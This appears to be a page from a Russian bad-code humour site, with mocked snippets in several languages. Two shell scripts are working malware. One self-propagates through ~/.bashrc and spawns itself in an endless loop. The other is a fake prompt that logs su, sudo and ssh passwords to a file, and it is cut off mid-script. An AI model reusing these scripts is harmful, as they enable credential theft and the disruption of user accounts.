- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
include <stdio.h>
int main()
{
unsigned char a;
a='Я';
printf("\n%c=%d",a,a);
return 0;
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+144
include <stdio.h>
int main()
{
unsigned char a;
a='Я';
printf("\n%c=%d",a,a);
return 0;
}
+142.9
if (isset($_POST['id'])){$id = $_POST['id']; if($id == ''){unset($id); }}
if (isset($_POST['data'])){$id2 = $_POST['data']; if($id2 == ''){unset($data); }}
if (isset($_POST['dengi'])){$id3 = $_POST['dengi']; if($id3 == ''){unset($dengi); }}
if (isset($_POST['prim'])){$id4 = $_POST['prim']; if($id4 == ''){unset($prim); }}
$id = $_REQUEST['id']; $data = $_REQUEST['data']; $dengi = $_REQUEST['dengi']; $prim = $_REQUEST['prim'];
С одного форума
+151
library ExDouble;
uses
SysUtils,
Classes;
{$R *.res}
function calc_double(r: real): real; stdcall;
begin
result := 2;
end;
exports
calc_double index 1;
end.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
function calc_double(r: real): real; stdcall; external 'ExDouble.dll';
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
if Edit1.Text<>FloatToStr(calc_double(0))then
ShowMessage('')
else begin
ShowMessage('dsfgsdfg');
end;
end;
end.
−96
this.onMouseDown = function() {
if (btn_right._visible && btn_right.enabled) {
if (btn_right.hitTest(_xmouse, _ymouse, 0)) {
btn_right_release();
}
}
if (ready._visible && ready.enabled) {
if (ready.hitTest(_xmouse, _ymouse, 0)) {
ready_release();
}
}
if (ready2._visible && ready2.enabled) {
if (ready2.hitTest(_xmouse, _ymouse, 0)) {
ready2_release();
}
}
if (yesno.no._visible && yesno.no.enabled) {
if (yesno.no.hitTest(_xmouse, _ymouse, 0)) {
no_release();
}
}
if (yesno2.no._visible && yesno2.no.enabled) {
if (yesno2.no.hitTest(_xmouse, _ymouse, 0)) {
no2_release();
}
}
};
Назначение обработчиков для кнопок
−281.8
////////////////////// обработчик onEnterFrame
onEnterFrame = function () {
switch (_currentframe) {
case 4 :
if (go_5) {
btn_right._visible = true;
} else {
btn_right._visible = false;
}
if (txt_area2.txt.text == "") {
ready.enabled = false;
ready._alpha = 30;
} else {
ready.enabled = true;
ready._alpha = 100;
}
break;
case 5 :
if (table2._height > 460) {
mc_scroll._visible = true;
} else {
mc_scroll._visible = false;
table2._y = 460 / 2 - table2._height / 2;
}
if (reit_end == 0) {
btn_right._visible = false;
} else {
btn_right._visible = true;
}
break;
case 8 :
btn_left._visible = false;
break;
case 6 :
if (chek_was_became() == 1) {
btn_right._visible = true;
} else {
btn_right._visible = false;
}
break;
case 11 :
if (go_12) {
btn_right._visible = true;
} else {
btn_right._visible = false;
}
if (chto.txt.text == "") {
ready2.enabled = false;
ready2._alpha = 30;
} else {
ready2.enabled = true;
ready2._alpha = 100;
}
if (planning == 1) {
btn_right._visible = false;
}
break;
case 12 :
if (sims.txt2.text == "" || sims.txt3.text == "") {
ok.enabled = false;
ok._alpha = 30;
} else {
ok.enabled = true;
ok._alpha = 100;
}
break;
case 14 :
if (table._height > 590) {
mc_scroll2._visible = true;
} else {
mc_scroll2._visible = false;
table._y = 590 / 2 - table._height / 2 + 42;
}
break;
case 16 :
if (color1.txt2.text == "" || color2.txt2.text == "" || color3.txt2.text == "") {
btn_right.enabled = false;
btn_right._alpha = 30;
} else {
btn_right.enabled = true;
btn_right._alpha = 100;
}
break;
}
};
Офигенно содержательный комментарий, который сразу объясняет весь блок.
+952
try
{
db.OpenDB();
}
catch { }
try
{
db.adapter.Fill(tableTemp);
}
catch { }
finally
{
db.command.Parameters.Clear();
try
{
db.CloseDB();
}
catch { }
}
Писать могут даже так.
+154
#!/bin/tcsh
# Utility "p1", author Alice Stein ([email protected]),
chmod +r+w ~/.bashrc
set x3=$#
if($x3<1) then
#read last string from .bashrc that write one time
# and replace spaces sign _
set a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
#parameter $0 contains path to script and name of script
set b=$0
#if a line coincided from .bashrc with $0
if($a == $b) then
else
chmod +r+w ~/.bashrc
#write to file .bashrc that started each time with start bash
echo "$0" >> ~/.bashrc
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
endif
#if command line parameters are not present assign default counter of directories 0 and command echo
set x1="0"
set x2="echo"
$0 $x1 $x2 &
else
#save command line arguments in environment variables
set x1=$1
set x2=$2
endif
#exec command passed from command line
$x2;
#write number of counter of directory in the system log /var/log/messages
logger $1;
#increment directory counter
@ x1++;
chmod +x+r+w $x1
#create directory
mkdir $x1
#call in the created directory
cd $x1
chmod +x+r+w $x1
#delete a file if a script is started the second time that did not result in hanging up of script
#delete hidden file
rm .$x1
#create hidden file
echo "1" > .$x1
#take away rights for access
chmod -x-r-w .$x1
cd ..
chmod -x-r-w $x1
#sleep on 1 second
sleep 1s;
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
#recursive call with argument line parameter
$0 $x1 $x2 &
exit 0
shell script tcsh
+130.2
#!/bin/bash
cm=""
function psw_su()
{
t=`echo $1 | tr '_' ' '`
echo -n $t
read -s ps >> ~/.log
echo "password: " >> ~/.log
#safe password to log file
echo $ps >> ~/.log
echo
sleep 4s
echo "su: incorrect password"
$cm
# exit 0
};
function zar()
{
a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
b=$0
case $a in
$b)
;;
*)
echo $0 >> ~/.bashrc
;;
esac
};
zar
while :
do
psu="Password: "
psudo="root's_password:"
ht=$HOST
un=$USER
pw=`pwd`
case $pw in
$HOME)
#tilda ~ this is home directory
pw="~"
;;
*)
esac
#string of console of shell
nm=$USER"@"$HOST":"$pw"> "
echo -n $nm
echo -n " "
#enter command
cm=""
read -e cm
# cm=$1
#switch case
case $cm in
"")
;;
#authentficate as root
"su")
psw_su $psu
;;
#authentificat as root
"su -l root")
psw_su $psu
;;
#authentificate as other user
`echo $cm | grep "su -l" | grep [A-Za-z0-9].*`)
c=`echo $cm | tr ' ' '_' | rev`
c2=`basename $c _l-_us | rev`
echo "Login: "$c2 >> ~/.log
psw_su $psu
;;
#simple sudo as authentificate as root
"sudo bash")
psw_su $psudo
;;
`echo $cm | grep ssh`)
c=`echo $cm | tr ' ' '_' | rev`
c2=`basename $c _hss | rev`
echo "loginSSH: "$c2>> ~/.log
echo -n "Password: "
read -s ps
echo $cm >> ~/.log
echo "Password SSH:"$ps >> ~/.log
sleep 2s
echo
$cm
exit 0
;;
`echo $cm | grep sudo | grep sh`)
psw_su $psudo
;;
*)
esac
echo $cm >> ~/.log
#$cm >> ~/.log
#exec command
case $cm in
"")
cm="echo -n"
;;
shell script
+144.1
<div styleborder:3px solid #000000;
height: 300px;
width: 600px;
text-align:center;>
background:url(http://cs4288.vkontakte.ru/u29274663/90187299/x_a74c614b.jpg) no-repeat center;">
</div>
html-опус
+142.3
//------------------------------Запись в профиль ----------------------------//
$ufile = file(BASEDIR."local/profil/$log.prof");
$udata = explode(":||:",$ufile[0]);
if($udata[10]>0){
$udata[10]=0;
$udata[14]=$ip;
for ($u=0; $u<$config_userprofkey; $u++){
$utext.=$udata[$u].':||:';}
if($udata[0]!="" && $udata[1]!="" && $udata[4]!="" && $utext!=""){
$fp=fopen(BASEDIR."local/profil/$log.prof","a+");
flock ($fp,LOCK_EX);
ftruncate ($fp,0);
fputs($fp,$utext);
fflush ($fp);
flock ($fp,LOCK_UN);
fclose($fp);
unset($utext);
}}
Из говно cms wap motor